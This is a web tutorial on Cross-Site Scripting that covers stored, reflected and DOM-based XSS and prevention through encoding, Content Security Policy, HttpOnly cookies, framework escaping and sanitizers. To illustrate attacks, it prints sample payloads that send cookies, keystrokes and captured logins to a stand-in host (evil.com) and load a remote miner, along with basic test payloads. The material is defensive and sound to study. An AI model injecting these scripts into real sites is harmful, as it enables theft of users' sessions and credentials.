Skip to main content
โšก Calmops

Cross-Site Scripting (XSS): How It Works and How to Prevent It

Introduction

Cross-Site Scripting (XSS) is one of the most common and dangerous web vulnerabilities. It allows attackers to inject malicious scripts into web pages viewed by other users. When successful, XSS can steal session cookies, redirect users to phishing sites, log keystrokes, or completely take over a user’s browser session.

XSS consistently appears in the OWASP Top 10 and affects sites of all sizes โ€” from small blogs to major platforms.

How XSS Works

The core mechanism: an attacker injects JavaScript into a page, and the victim’s browser executes it in the context of the trusted site.

Attacker injects: <script>document.location='https://evil.com/?c='+document.cookie</script>
Victim visits page โ†’ browser executes the script โ†’ cookies sent to attacker

Three Types of XSS

1. Stored XSS (Persistent)

The malicious script is saved in the database and served to every user who views the affected page. This is the most dangerous type.

Example: A comment field that doesn’t sanitize input:

<!-- Attacker submits this as a comment -->
<script>
  fetch('https://evil.com/steal?cookie=' + document.cookie);
</script>

<!-- Every user who views the page executes this script -->

Real-world impact: The attacker’s script runs for every visitor โ€” potentially thousands of users.

2. Reflected XSS

The malicious script is embedded in a URL and reflected back in the response. The victim must click a crafted link.

https://example.com/search?q=<script>alert(document.cookie)</script>

<!-- If the server renders: -->
<p>Results for: <script>alert(document.cookie)</script></p>

Attack vector: Phishing emails, social media posts, or shortened URLs containing the malicious payload.

3. DOM-Based XSS

The vulnerability exists entirely in client-side JavaScript โ€” the server never sees the malicious payload.

// Vulnerable code: reads from URL hash and writes to DOM
const name = location.hash.slice(1);
document.getElementById('greeting').innerHTML = 'Hello, ' + name;

// Attack URL:
// https://example.com/page#<img src=x onerror=alert(document.cookie)>

What Attackers Can Do with XSS

Steal Session Cookies

// Attacker's injected script
new Image().src = 'https://evil.com/steal?c=' + encodeURIComponent(document.cookie);

If the session cookie doesn’t have HttpOnly, the attacker can hijack the user’s session.

Forge Login Forms

// Replace the login form with a fake one
document.body.innerHTML = `
  <form action="https://evil.com/capture" method="POST">
    <input name="email" placeholder="Email">
    <input name="password" type="password" placeholder="Password">
    <button>Log In</button>
  </form>
`;

Keylogging

document.addEventListener('keypress', function(e) {
  fetch('https://evil.com/keys?k=' + e.key);
});

Redirect to Phishing Site

window.location = 'https://evil-clone-of-your-bank.com';

Cryptocurrency Mining

// Load a crypto miner in the victim's browser
const script = document.createElement('script');
script.src = 'https://evil.com/miner.js';
document.head.appendChild(script);

Prevention: Output Encoding

The primary defense is encoding output โ€” converting special characters to their HTML entity equivalents so the browser renders them as text, not code.

HTML Encoding

# Python โ€” use html.escape()
import html
user_input = '<script>alert("xss")</script>'
safe = html.escape(user_input)
# => '&lt;script&gt;alert(&quot;xss&quot;)&lt;/script&gt;'
// JavaScript โ€” encode before inserting into DOM
function escapeHtml(str) {
  return str
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

// SAFE: use textContent, not innerHTML
document.getElementById('output').textContent = userInput;

// UNSAFE: innerHTML parses HTML
document.getElementById('output').innerHTML = userInput;  // XSS risk!
# Rails โ€” automatic HTML escaping in ERB
<%= user.name %>          # safe โ€” auto-escaped
<%= raw user.name %>      # UNSAFE โ€” bypasses escaping
<%= user.name.html_safe %> # UNSAFE โ€” marks as safe without escaping

Context-Specific Encoding

Different contexts require different encoding:

<!-- HTML context: encode HTML entities -->
<p>Hello, <%= html_encode(name) %></p>

<!-- Attribute context: encode for attributes -->
<input value="<%= attr_encode(value) %>">

<!-- JavaScript context: encode for JS strings -->
<script>var name = "<%= js_encode(name) %>";</script>

<!-- URL context: percent-encode -->
<a href="/search?q=<%= url_encode(query) %>">Search</a>

Prevention: Content Security Policy (CSP)

CSP is an HTTP header that tells the browser which sources of content are trusted. It’s one of the most effective XSS mitigations:

# Strict CSP โ€” only allow scripts from your own domain
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'

# Allow scripts from CDN
Content-Security-Policy: script-src 'self' https://cdn.example.com

# Use nonces for inline scripts (each request gets a unique nonce)
Content-Security-Policy: script-src 'nonce-{random-value}'
<!-- Only scripts with the matching nonce execute -->
<script nonce="abc123xyz">
  // This script runs
</script>

<script>
  // This script is BLOCKED by CSP
  alert('xss');
</script>

Nginx configuration:

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-$request_id'; object-src 'none'" always;

Prevention: HttpOnly and Secure Cookies

Prevent JavaScript from reading session cookies:

# Python/Flask
response.set_cookie(
    'session',
    value=session_token,
    httponly=True,   # not accessible via document.cookie
    secure=True,     # only sent over HTTPS
    samesite='Strict'
)
# Rails โ€” config/initializers/session_store.rb
Rails.application.config.session_store :cookie_store,
  key: '_app_session',
  httponly: true,
  secure: Rails.env.production?,
  same_site: :strict

Even if XSS occurs, HttpOnly cookies can’t be stolen via JavaScript.

Prevention: Framework Protections

Modern frameworks auto-escape output by default:

<!-- Rails ERB โ€” auto-escaped -->
<%= user.name %>  <!-- safe -->

<!-- Django templates โ€” auto-escaped -->
{{ user.name }}   <!-- safe -->
{{ user.name|safe }}  <!-- UNSAFE โ€” disables escaping -->

<!-- React JSX โ€” auto-escaped -->
<div>{userInput}</div>  <!-- safe -->
<div dangerouslySetInnerHTML={{__html: userInput}} />  <!-- UNSAFE -->

<!-- Vue.js โ€” auto-escaped -->
<div>{{ userInput }}</div>  <!-- safe -->
<div v-html="userInput"></div>  <!-- UNSAFE -->

Prevention: Input Validation and Sanitization

For cases where you must allow some HTML (e.g., rich text editors), use a sanitization library:

# Python โ€” bleach
import bleach

allowed_tags = ['p', 'b', 'i', 'u', 'a', 'ul', 'ol', 'li']
allowed_attrs = {'a': ['href', 'title']}

clean = bleach.clean(user_html, tags=allowed_tags, attributes=allowed_attrs)
# Rails โ€” sanitize helper
sanitize(user_html, tags: %w[p b i u a], attributes: %w[href title])

# Or strip all HTML
strip_tags(user_html)
// JavaScript โ€” DOMPurify
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(dirtyHtml);
document.getElementById('content').innerHTML = clean;

Important: Use a whitelist (allow only known-safe tags), not a blacklist (block known-bad tags). Blacklists are always incomplete.

DOM XSS Prevention

Be careful with JavaScript APIs that parse HTML:

// UNSAFE APIs โ€” avoid with user input
element.innerHTML = userInput;
element.outerHTML = userInput;
document.write(userInput);
eval(userInput);
setTimeout(userInput, 0);  // string form
new Function(userInput)();

// SAFE alternatives
element.textContent = userInput;  // renders as text, not HTML
element.setAttribute('value', userInput);

Testing for XSS

Basic test payloads to check if a field is vulnerable:

<!-- Basic alert test -->
<script>alert('XSS')</script>

<!-- Event handler -->
<img src=x onerror=alert('XSS')>

<!-- Without quotes -->
<svg onload=alert('XSS')>

<!-- Encoded -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- JavaScript URL -->
<a href="javascript:alert('XSS')">click</a>

Use tools like OWASP ZAP or Burp Suite for systematic XSS testing.

XSS Prevention Checklist

  • All user input is HTML-encoded before rendering
  • innerHTML is never used with user-controlled data
  • Content Security Policy header is set
  • Session cookies have HttpOnly and Secure flags
  • Rich text input is sanitized with a whitelist library
  • Framework auto-escaping is enabled (not disabled)
  • DOM-based XSS sources (location.hash, document.referrer) are handled safely

Resources

Comments